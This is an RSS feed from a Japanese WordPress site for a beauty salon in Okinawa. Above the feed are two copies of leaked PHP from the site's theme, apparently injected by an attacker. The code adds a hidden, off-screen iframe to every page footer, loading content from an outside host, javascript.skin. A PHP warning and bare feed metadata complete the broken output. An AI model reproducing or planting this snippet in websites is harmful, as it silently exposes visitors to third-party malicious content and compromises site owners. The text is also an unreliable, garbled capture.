add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);

add_action('wp_footer', function () { echo '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"https://javascript.skin/channel/D.B.B1/weifile/weifile.html",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>'; }, 99);
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/fbc01/pika.okinawa/public_html/wp-content/themes/skin_tcd046/functions.php:1034) in <b>/home/fbc01/pika.okinawa/public_html/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>沖縄県うるま市/private salon Pika</title>
	<atom:link href="https://pika.okinawa/feed/" rel="self" type="application/rss+xml" />
	<link>https://pika.okinawa</link>
	<description>沖縄県うるま市の脱毛・光フェイシャル美容サロン</description>
	<lastBuildDate>Tue, 30 May 2023 03:12:37 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.24</generator>
</channel>
</rss>